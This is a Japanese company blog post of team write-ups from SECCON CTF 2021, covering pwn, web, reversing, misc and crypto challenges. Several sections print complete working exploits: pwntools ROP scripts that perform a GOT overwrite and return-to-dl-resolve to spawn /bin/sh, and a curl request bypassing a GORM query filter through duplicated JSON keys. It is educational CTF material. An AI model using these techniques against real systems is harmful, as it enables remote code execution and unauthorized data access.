明けましておめでとうございます。zeosuttです。
記念すべき2022年最初の記事はーーー、昨年の話です！
弊社のCTFチームspookiesは、2021/12/11-12に開催されたSECCON CTF 2021に参加しました。
結果は49位でした。驚くべきことに、3年連続で同じ順位...！！
これはこれで嬉しいのですが、次はもっと上の順位を取りたいと考えています。
以下、各メンバーの参加記まとめです。
zeosutt
[Pwn] Average Calculator (129 pt / 56 solves)
pwn担当だったので、まずはpwnのwarmup問に取り組みました。
以下のソースとバイナリ、およびlibcが与えられます。
#include <stdio.h> #include <stdlib.h> #include <unistd.h> int main() { long long n, i; long long A[16]; long long sum, average; alarm(60); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); printf("n: "); if (scanf("%lld", &n)!=1) exit(0); for (i=0; i<n; i++) { printf("A[%lld]: ", i); if (scanf("%lld", &A[i])!=1) exit(0); // prevent integer overflow in summation if (A[i]<-123456789LL || 123456789LL<A[i]) { printf("too large\n"); exit(0); } } sum = 0; for (i=0; i<n; i++) sum += A[i]; average = (sum+n/2)/n; printf("Average = %lld\n", average); }
自明なSBoF脆弱性がありますね。
また、pwntoolsに食わせた際の出力は以下の通りです。
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SSPとPIEが無効なので、容易に main() に戻れますね。
また、平均を表示してくれるため、 %lld に対して + なりを渡して読み飛ばすことで、 main() の実行ごとに少しずつスタック上の値をリークできるかも？
スタック上にはlibcのアドレスも乗っているでしょうし、それがリークできればone gadget RCEなりでおしまい。
と思ったら、 scanf("%lld", _) の返り値が 1 であることをチェックしていますね。
これでは読み飛ばせません。
また、入力の絶対値が 123456789 以下であることもチェックしています。
123456789 は16進で
$ printf %x 123456789 75bcd15
75bcd15 だそうです。
問題バイナリのアドレスは自由に指定できますが、libcは無理ですね。
これは困りました。
とりあえず、実行してみましょう。
$ ./average n: 30 A[0]: 1 A[1]: 1 A[2]: 1 A[3]: 1 A[4]: 1 A[5]: 1 A[6]: 1 A[7]: 1 A[8]: 1 A[9]: 1 A[10]: 1 A[11]: 1 A[12]: 1 A[13]: 1 A[14]: 1 A[15]: 1 A[16]: 1 Average = 1
あれ？ A[29] まで入力するつもりが、途中で終わってしまいました。
ここで、ディスアセンブル結果を確認すると、
A: rbp-0xa0 n: rbp-0x20 i: rbp-0x8
であり、 A[16] と n の位置が同じです。そのため、先ほどのような結果になったようですね。
これは、 A[16] にちゃんとした値を設定することで回避できます。
また、 A[19] と i の位置が同じであるため、これを利用して A の幾つかの要素に関する scanf() の呼び出しをスキップできそう（＝平均の表示によりリークできそう）なことも分かります。
実際には、 A[21] の位置がリターンアドレスであり、これを書き換える必要があるため、スキップ可能なのは A[20] のみです（ A[19] に 20 を入力するとよい）。
ただし、仮に A[20] の位置にlibcのアドレスが来るよう上手く調整できたとしても、 A[19] に 20 を入力した直後の入力チェックは A[20] に対して行われるため通りません。
そもそも、なんとかしてlibcのアドレスをリークできても、先述の通り、入力チェックのせいでlibcのアドレスは入力できません。
ここで詰まってしまったのですが、よくよく考えると、平均を表示する機能を利用する義務なんてないんですよね...
最初に見た通り普通にROPは可能ですし、partial RELROなのでGOT overwriteも可能です。
そうと分かればもう簡単。
puts(&puts@GOT) でlibcのアドレスをリークし、 scanf("%lld", _) でGOT内の exit() のアドレスを system() のものに書き換え、同様にして.bssに "/bin/sh" を用意し、最後に exit("/bin/sh") （＝ system("/bin/sh") ）すればシェルが取れます。
from pwn import * context.arch = 'amd64' target = ELF('./average') RET = next(target.search(asm('ret'), executable = True)) POP_RDI = next(target.search(asm('pop rdi; ret'), executable = True)) POP_RSI_R15 = next(target.search(asm('pop rsi; pop r15; ret'), executable = True)) LLD = next(target.search(b'%lld')) libc = ELF('./libc.so.6') r = remote('average.quals.seccon.jp', 1234) r.sendlineafter(b'n: ', b'41') for i in range(19): r.sendlineafter(f'A[{i}]: '.encode(), b'41') r.sendlineafter(b'A[19]: ', b'20') # puts(&puts@GOT) (leak libc address) r.sendlineafter(b'A[21]: ', str(POP_RDI).encode()) r.sendlineafter(b'A[22]: ', str(target.got['puts']).encode()) r.sendlineafter(b'A[23]: ', str(target.plt['puts']).encode()) # scanf("%lld", &exit@GOT) (exit@GOT := system) r.sendlineafter(b'A[24]: ', str(POP_RDI).encode()) r.sendlineafter(b'A[25]: ', str(LLD).encode()) r.sendlineafter(b'A[26]: ', str(POP_RSI_R15).encode()) r.sendlineafter(b'A[27]: ', str(target.got['exit']).encode()) r.sendlineafter(b'A[28]: ', b'0') r.sendlineafter(b'A[29]: ', str(RET).encode()) r.sendlineafter(b'A[30]: ', str(target.plt['__isoc99_scanf']).encode()) # scanf("%lld", bss) (bss := "/bin/sh") r.sendlineafter(b'A[31]: ', str(POP_RDI).encode()) r.sendlineafter(b'A[32]: ', str(LLD).encode()) r.sendlineafter(b'A[33]: ', str(POP_RSI_R15).encode()) r.sendlineafter(b'A[34]: ', str(target.bss()).encode()) r.sendlineafter(b'A[35]: ', b'0') r.sendlineafter(b'A[36]: ', str(target.plt['__isoc99_scanf']).encode()) # exit(bss) (= system("/bin/sh")) r.sendlineafter(b'A[37]: ', str(POP_RDI).encode()) r.sendlineafter(b'A[38]: ', str(target.bss()).encode()) r.sendlineafter(b'A[39]: ', str(RET).encode()) r.sendlineafter(b'A[40]: ', str(target.plt['exit']).encode()) r.recvline() LIBC_BASE = u64(r.recvline().strip().ljust(8, b'\x00')) - libc.symbols['puts'] log.info(hex(LIBC_BASE)) r.sendline(str(LIBC_BASE + libc.symbols['system']).encode()) r.sendline(str(int.from_bytes(b'/bin/sh', 'little')).encode()) r.interactive()
SECCON{M4k3_My_4bi1i7i3s_4v3r4g3_in_7h3_N3x7_Lif3_cpwWz9jpoCmKYBvf}
平均にこだわりすぎちゃいましたねー。
[Pwn] kasu bof (112 pt / 78 solves)
気を取り直して2問目。
問題文には
Do you understand return-to-dl-resolve attack on 32-bit?
とあります。32bitでのreturn-to-dl-resolveをする問題のようですね。
与えられるものは以下のソースとバイナリです。
#include <stdio.h> int main(void) { char buf[0x80]; gets(buf); return 0; }
大変シンプルです。出力すらありません。
また、pwntoolsに食わせた際の出力は以下の通りです。
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
問題文の通り、32bitですね。
さて、return-to-dl-resolve、実はやったことありません...
そこで、ずっと前にブックマークだけして読んでいなかった、ももテクさんの以下の記事で勉強しました。
つ、強い。
ROPと既知のアドレスに対する入力さえできれば、任意のライブラリ関数を呼べてしまうなんて。
というわけで、理解をコードに落とし込みました。
from pwn import * target = ELF('./chall') PLT = target.get_section_by_name('.plt').header.sh_addr RELPLT = target.get_section_by_name('.rel.plt').header.sh_addr DYNSYM = target.get_section_by_name('.dynsym').header.sh_addr DYNSTR = target.get_section_by_name('.dynstr').header.sh_addr POP_EBP = next(target.search(asm('pop ebp; ret'), executable = True)) POP1 = POP_EBP r = remote('hiyoko.quals.seccon.jp', 9001) addr_reloc = target.bss() addr_sym = addr_reloc + 0x8 align_dynsym = 0x10 - ((addr_sym - DYNSYM) & 0xf) addr_sym += align_dynsym addr_name = addr_sym + 0x10 addr_cmd = addr_name + 0x7 reloc_offset = addr_reloc - RELPLT r_info = ((addr_sym - DYNSYM) // 0x10 << 8) | 0x7 name_offset = addr_name - DYNSTR payload = b'' payload += b'A' * 0x88 # gets(bss) (bss := fake entries for system() + "/bin/sh") payload += p32(target.plt['gets']) payload += p32(POP1) payload += p32(target.bss()) # system("/bin/sh") payload += p32(PLT) payload += p32(reloc_offset) payload += b'A' * 0x4 payload += p32(addr_cmd) r.sendline(payload) payload = b'' payload += p32(target.bss()) payload += p32(r_info) payload += b'A' * align_dynsym payload += p32(name_offset) payload += p32(0) payload += p32(0) payload += p32(0x12) payload += b'system\x00' payload += b'/bin/sh\x00' r.sendline(payload) r.interactive()
SECCON{jUst_4_s1mpL3_b0f_ch4ll3ng3}
いやー、勉強になりました。
[Pwn] gosu bof (解けず) (248 pt / 13 solves)
問題名的に、先ほどのkasu bofの続きでしょうね。
Just changed from 32-bit to 64-bit.
とのことです。確認してみましょう。
与えられたのは、以下のソースとバイナリ、そしてlibcです。
#include <stdio.h> int main(void) { char buf[0x80]; gets(buf); return 0; }
ソースはkasu bofと全く同じですね。
pwntoolsに食わせた際の出力は以下の通りです。
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
確かに64bitになっています。
bit数以外でkasu bofと異なる点は、full RELROになっていることと、libcが与えられていることですね。
特に後者が気になります。return-to-dl-resolveならlibcは不要では...？
何はともあれ、ももテクさんで勉強しましょう。
どうやら、full RELRO以外であれば、 ndx なる値の算出時に落ちるのを防ぐため、
full RELROであれば、それに加えて _dl_runtime_resolve() のアドレスを得るため、どうしても出力が必要みたいですね。
前者に関しては、
に
we noticed that using the modern GCC versions, the bss is often mapped at 0x40XXXX,
...
Under this condition, we can proceed without needing any workaround.
とあるように、時代の変化のおかげで出力は不要そうです。よかった。
それでも、今回はfull RELROですので、依然 _dl_runtime_resolve() のアドレスを得るために出力が必要です。
しかし、問題のバイナリには出力がありません。
しばらく考えましたが、、、うーん、無理！
libcが与えられていることからも、多分return-to-dl-resolveではないんでしょうね。
諦めです。無念。
[Misc] s/<script>//gi (95 pt / 115 solves)
これ以上pwnを解くのは厳しそうだったので、他ジャンルに移行しました。
入力に対して s/<script>//gi し、その結果に対してまた s/<script>//gi し、...、というのを、
結果が元と変わらなくなるまで繰り返した際の最終結果を求めよ、という問題です。
タグ通り、競プロですね。
に対して愚直解は
となるため、到底間に合いません。
< と > の対応関係に着目すれば、同じindexを参照する回数を 回から
回に減らせそうです。
そうすれば全体として となるため、十分間に合いますね。
ここで、以下はそれぞれ で可能です。
- 全ての
<と>の対応関係を求める - 全ての対に関して、validかどうかを判定する
- 全てのindexに関して、1つ以上のvalidな対に含まれるかどうかを判定する
どのvalidな対にも含まれないindexに対応する文字を連結したものが答えなので、全体として で求まります。
import sys import re sys.setrecursionlimit(10000000) def isValid(p): if p['isValid'] is not None: return p['isValid'] if p['r'] is None: p['isValid'] = False return False tag = '' i = p['l'] + 1 while i < p['r']: c = s[i] if c == '<': if not isValid(ps[i]): p['isValid'] = False return False i = ps[i]['r'] else: tag += c i += 1 ret = re.match(r'^script$', tag, re.I) is not None p['isValid'] = ret return ret s = open('./flag.txt').read() ps = {} stack = [] for i, c in enumerate(s): if c == '<': stack.append(i) ps[i] = {'l': i, 'r': None, 'isValid': None} if c == '>': if len(stack) > 0: l = stack.pop() ps[l]['r'] = i a = [0] * (len(s) + 1) for i, p in enumerate(ps.values()): if i % 100000 == 0: print(f'{i}/{len(ps)}') if isValid(p): a[p['l']] += 1 a[p['r'] + 1] -= 1 for i in range(len(s)): a[i + 1] += a[i] flag = '' for i, c in enumerate(s): if a[i] == 0: flag += c print(flag)
かなり再帰するため、 $ ulimit -s unlimited が必要でした。
もっとエレガントに解きたいところです。
SECCON{sanitizing_is_not_so_good><_escaping_is_better_iPt><SCript<ScrIpT<scRIp<scRI<Sc<scr!pt>}
最後に競プロのコンテストに出てからもう4年以上経つみたいです。月日の流れが恐ろしく速い...
[Rev] corrupted flag (130 pt / 55 solves)
続いてrevのwarmupに取り組みました。
実行ファイルと、その出力と思われる flag.txt.enc が与えられます。
Ghidraに突っ込むと、非常に素直で短く、いかにも「読む」ことが想定されていそうな雰囲気でした。
「読む」rev問は好きです。
とはいえ、真面目に読むのは面倒なので、まずは楽できないか考えつつ適当に読みます。
main() と corrupt() にざっと目を通すと、
flag.txtを読み込む- 先頭から1バイトずつ処理する
flag.txt.encとして書き出す
という流れになっていることが分かります。
もう少し2.の処理をちゃんと読むと、バイトごとに独立していることも分かります。
それなら変換表を作れば終わりかもと考えたので、実験してみました。
$ echo -n A > flag.txt $ ./corrupt $ cat flag.txt.enc i&$ ./corrupt $ cat flag.txt.enc i.$ ./corrupt $ cat flag.txt.enc i&$ ./corrupt $ cat flag.txt.enc i&$ ./corrupt $ cat flag.txt.enc �&$ ./corrupt $ cat flag.txt.enc i&
なんか、実行ごとに結果変わってますね...
仕方ないので、真面目に読みます。
結果、4ビットごとに、
-
以下のように、4ビットから7ビットへの変換を行う
0 := 0 1 := 1 2 := 2 3 := 0 ^ 1 ^ 2 4 := 3 5 := 0 ^ 1 ^ 3 6 := 0 ^ 2 ^ 3
※左辺の数値は出力のindex、右辺の数値は入力のindexを表す - たまに、7ビットのうちいずれかを反転する
という処理を行っていることが分かりました。
このb.を指して、問題名や問題文でcorruptedと表現しているわけですね。
要するにこの問題、「4ビットのデータに3ビットの冗長ビットを付加して7ビットに符号化したよ。1ビットの誤りを訂正してね」と言っています。
そしてこの符号、ハミング符号ですね。大学で学んだ記憶があります。
もちろん名前しか覚えていないので、
を見ながらデコーダを実装しました。
別の問題でSageが使われているのを見た後だったので、なんとなくSageで書いています。
もっと良い書き方あるんだろうなあ。
# 0 := 0 # 1 := 1 # 2 := 2 # 4 := 3 # 3 := 0 ^ 1 ^ 2 # 5 := 0 ^ 1 ^ 3 # 6 := 0 ^ 2 ^ 3 # G = matrix(Zmod(2), [ # [1, 0, 0, 0, 1, 1, 1], # [0, 1, 0, 0, 1, 1, 0], # [0, 0, 1, 0, 1, 0, 1], # [0, 0, 0, 1, 0, 1, 1], # ]) H = matrix(Zmod(2), [ [1, 1, 1, 0, 1, 0, 0], [1, 1, 0, 1, 0, 1, 0], [1, 0, 1, 1, 0, 0, 1], ]) encoded = open('./flag.txt.enc', 'rb').read() encoded_bits = list(map(int, ''.join(f'{b:08b}'[::-1] for b in encoded))) decoded_bits = [] for i in range(len(encoded_bits) // 7): bs = encoded_bits[i*7:i*7+7] Y = matrix(Zmod(2), [bs[0], bs[1], bs[2], bs[4], bs[3], bs[5], bs[6]]) e = Y * H.transpose() if e[0][0] == 1 and e[0][1] == 1 and e[0][2] == 1: bs[0] ^^= 1 if e[0][0] == 1 and e[0][1] == 1 and e[0][2] == 0: bs[1] ^^= 1 if e[0][0] == 1 and e[0][1] == 0 and e[0][2] == 1: bs[2] ^^= 1 if e[0][0] == 0 and e[0][1] == 1 and e[0][2] == 1: bs[4] ^^= 1 decoded_bits += [bs[0], bs[1], bs[2], bs[4]] decoded = ''.join(map(str, decoded_bits)) decoded = ''.join(chr(int(decoded[i*8:i*8+8][::-1], 2)) for i in range(len(decoded) // 8)) print(decoded)
SECCON{9e469af5f60e7f0c98854ebf0afd254c102154587a7491594900a8d186df4801}
学んだことが実際に使えると嬉しいですね。
感想
4問解けたので、そこそこ満足しています。
ただ、warmup以外解けていない（s/<script>//giは実質warmupですよね）のは、明らかに課題ですね。
今回はありませんでしたが、決勝があればもちろん行きたいですし、そのためにはwarmup以外も1問は解く必要があるでしょう。
次までに、そこそこ難しい問題でも解けるくらいの実力をつけたいと思います。目指せ決勝。
21ma
Vulnerabilities~脆弱性
概要
How many vulnerabilities do you know?
https://vulnerabilities.quals.seccon.jp
- selectから脆弱性を選択すると、APIで画像とURLを受け取り、画面に表示するサイト
提供されたソース
├── Dockerfile ├── docker-compose.yml ├── go.mod ├── go.sum ├── re.sh ├── static │ ├── images │ │ ├── badlock.png │ │ ├── cacheout.png │ │ ├── ccs.png │ │ ├── drown.png │ │ ├── favicon.png │ │ ├── foreshadow.png │ │ ├── heartbleed.png │ │ ├── httpoxy.png │ │ ├── mds.png │ │ ├── meltdown.png │ │ ├── rambleed.png │ │ ├── sgaxe.png │ │ ├── spectre.png │ │ └── zombieload.png │ ├── index.html │ ├── scripts │ │ └── script.js │ └── styles │ ├── grids-responsive-min.css │ ├── pure-min.css │ └── styles.css ├── vulnerabilities └── vulnerabilities.go
アプローチ
- dockerが提供されていたので、久しぶりに立ち上げた
- docker for macがGUIを提供していて、コンテナの起動や削除などがわかりやすくなってた
- 但し、ローカルとの共有が出来ない docker-composeだったので書き換え (volumes指定など)
- png画像におかしなところは無さそう（fileコマンド）
- アプリ起動時、DBに脆弱性一覧とフラグデータを書き込み
db.AutoMigrate(&Vulnerability{})
db.Create(&Vulnerability{Name: "Heartbleed", Logo: "/images/heartbleed.png", URL: "https://heartbleed.com/"})
db.Create(&Vulnerability{Name: "Badlock", Logo: "/images/badlock.png", URL: "http://badlock.org/"})
db.Create(&Vulnerability{Name: "DROWN Attack", Logo: "/images/drown.png", URL: "https://drownattack.com/"})
db.Create(&Vulnerability{Name: "CCS Injection", Logo: "/images/ccs.png", URL: "http://ccsinjection.lepidum.co.jp/"})
db.Create(&Vulnerability{Name: "httpoxy", Logo: "/images/httpoxy.png", URL: "https://httpoxy.org/"})
db.Create(&Vulnerability{Name: "Meltdown", Logo: "/images/meltdown.png", URL: "https://meltdownattack.com/"})
db.Create(&Vulnerability{Name: "Spectre", Logo: "/images/spectre.png", URL: "https://meltdownattack.com/"})
db.Create(&Vulnerability{Name: "Foreshadow", Logo: "/images/foreshadow.png", URL: "https://foreshadowattack.eu/"})
db.Create(&Vulnerability{Name: "MDS", Logo: "/images/mds.png", URL: "https://mdsattacks.com/"})
db.Create(&Vulnerability{Name: "ZombieLoad Attack", Logo: "/images/zombieload.png", URL: "https://zombieloadattack.com/"})
db.Create(&Vulnerability{Name: "RAMBleed", Logo: "/images/rambleed.png", URL: "https://rambleed.com/"})
db.Create(&Vulnerability{Name: "CacheOut", Logo: "/images/cacheout.png", URL: "https://cacheoutattack.com/"})
db.Create(&Vulnerability{Name: "SGAxe", Logo: "/images/sgaxe.png", URL: "https://cacheoutattack.com/"})
db.Create(&Vulnerability{Name: flag, Logo: "/images/" + flag + ".png", URL: "seccon://" + flag})
API: r.GET("/api/vulnerabilities" : 脆弱性一覧取得API
db.Where("name != ?", flag).Find(&vulns).Error;- 一覧取得では、flag 以外のデータをDBに問い合わせている。
- プレースホルダ使ってるので、SQLインジェクションは難しそう
API: r.POST("/api/vulnerability" : 脆弱性単体取得API
r.POST("/api/vulnerability", func(c *gin.Context) { var json map[string]interface{} if err := c.ShouldBindBodyWith(&json, binding.JSON); err != nil { c.JSON(400, gin.H{"Error": "JSON error 1"}) return } if name, ok := json["Name"]; !ok || name == "" || name == nil { c.JSON(400, gin.H{"Error": "no \"Name\""}) return } // Get details of the vulnerability var query Vulnerability if err := c.ShouldBindBodyWith(&query, binding.JSON); err != nil { c.JSON(400, gin.H{"Error": "JSON error 2"}) return } var vuln Vulnerability if err := db.Where(&query).First(&vuln).Error; err != nil { c.JSON(404, gin.H{"Error": "not found"}) return } c.JSON(200, gin.H{ "Logo": vuln.Logo, "URL": vuln.URL, }) })
- 受け取ったJSONをバリデーションで、Nameが存在するかチェック
- Jsonを指定された型を指定してquery化
- 取得したqueryでSQLを発行
- “Name”: 0 だと、突破は出来るけど、
if err := c.ShouldBindBodyWith(&query, binding.JSON); err != nil {
これで、型が違うので、エラーが出てるっぽい
解答
curl https://vulnerabilities.quals.seccon.jp/api/vulnerability -X POST -d '{"Name":"0","name":"", "id":14}'
{"Logo":"/images/SECCON{LE4RNING_FR0M_7HE_PA5T_FINDIN6_N0TABLE_VULNERABILITIE5}.png","URL":"seccon://SECCON{LE4RNING_FR0M_7HE_PA5T_FINDIN6_N0TABLE_VULNERABILITIE5}"}
- jsonはNameとnameを区別できるので、それでバリデーション突破
- 次のquery化ではNameとnameを一緒に扱い、上書きしている
- id=14は、登録された一覧の最後のやつを数えて指定した
構造体を使ってクエリを実行するとき、GORMは非ゼロ値なフィールドのみを利用します。つまり、フィールドの値が 0, '', false または他の ゼロ値の場合、 クエリ条件の作成に使用されません。
これを見るとquery化する時に、パラメータはあるけど、値が無し（0, '', false）の場合にqueryから除外されるみたい
Yuta
pppp
問題概要省略。
準備
問題には、 sageプログラムと、n, e, cの値が与えられていた。
sageに関しての知識がなかったので、まず少し調べると、Pythonベースの数学用言語ということが分かった。とりあえず環境構築を行い、実行できるようにしようとした。しかし、from Crypto.Util.number import *でこける。ネットの記事を見ていろいろやってみるが、いかんせん情報が少なくて、プログラムをフルで実行することは断念した。
プログラム
プログラムを読んでいくと、実行はできないけどPythonベースだったので大体読めた。
一部省略のプログラム
# Apart p = getStrongPrime(512) q = getStrongPrime(512) # 大きい素数の積 n = p*q # Bpart e = 65537 # フラグの前半部分を数値化したもの m1 = int.from_bytes(flag[:mid], byteorder='big') # フラグの後半部分を数値化したもの m2 = int.from_bytes(flag[mid:], byteorder='big') m = [[p,p,p,p], [0,m1,m1,m1], [0,0,m2,m2],[0,0,0,1]] # cpart # add padding for i in range(4): for j in range(4): m[i][j] *= getPrime(768) m = matrix(Zmod(p*q), m) # mの行列をe回掛け合わせたもの。 c = m^e
Apart
大きい素数を二つ取ってきて、それを掛け合わせたものを考えている。この時点でRSA暗号っぽいな～と思っていた。getStrongPrime関数などは知らなかったけど、名前を見て大体関数を把握。実際には引数の桁数分の二進数の素数を生成するらしい。getStrongPrimeとgetPrimeの違いは不明。気になる。素数の生成手順がばれにくいとかなのかな？
Bpart
int.from_bytesは読んで字のごとくだったが、直接flagをいじっているので、正確に関数を把握する必要がありそうと思ってしっかり調べ、動作もsageのインタプリタモードで確認した。int.from_bytes("A") = 65とかだったので、大体仕様を把握。
Cpart
全ての行列に別の素数をかけて、nでmodを取り、mのe乗を取る。
m^eこれが何してるかわからなかったので、これもsageのインタプリタモードで確認した。
ここで、なぜか getPrime(768)は毎回同じ数字を返すと勘違いしていた(768事件)。このミスがめちゃくちゃにデカかった。
考察
一番最初に、行列に0を入れ込んでいるのが気になった。行列積において、1とか0はかなり特殊な数字で（ほかの演算でもそうだが）e乗した後の形は幾分か綺麗になるのではないかと考え、手計算を行うと、対角成分が綺麗になることが分かった。そこで、
cは最終的に、4*4の行列になるが、最終的な体格成分は、(1,1) = Pe, (2,2) = m1e (3,3) = a2 , (4,4) = 1 に、getPrime(768)をかけたものになっている。 つまり、getProme(768)をp * qでmod取ったものが、cの一番最後の数字である
と考察した。これがかなりミスでc[3][3]成分がそのままgetPrime(768)の固定値だと思っていた。
仮にそうだとすると、c[3][3]の逆元を全ての数字にかけると、素数をかける前の数字をそのままe乗したものになるな、と考えていた。P^eが分かった後も少し手詰まりだったが、P^eを何乗がした後に、Pに戻ってくれればよいので、(P^e)^r ≡ P (mod n)を解けばよい。ここで、P^(n-1) = 1 (mod n)が成り立つので、P^(er) ≡ P^(n-1) * k * P ≡ P (mod n)であり、er = k*(n-1) + 1が成り立つような r, kの整数の組を求めればよいということになる。これは変形するとユークリッドの互除法で解けるため、r, kを求めたが、前提が間違っていたので、なぜかnがpで割れず、ここで断念。
反省
- プログラムを実行する状態を作れなかったのは反省。
- 勘違いしてたのはいいけど、その期間が長すぎた。うまくいかない理由をもう少し考えるべきだった。
感想
- もう少し力になりたかった。問題をちょこちょこ解いていく。
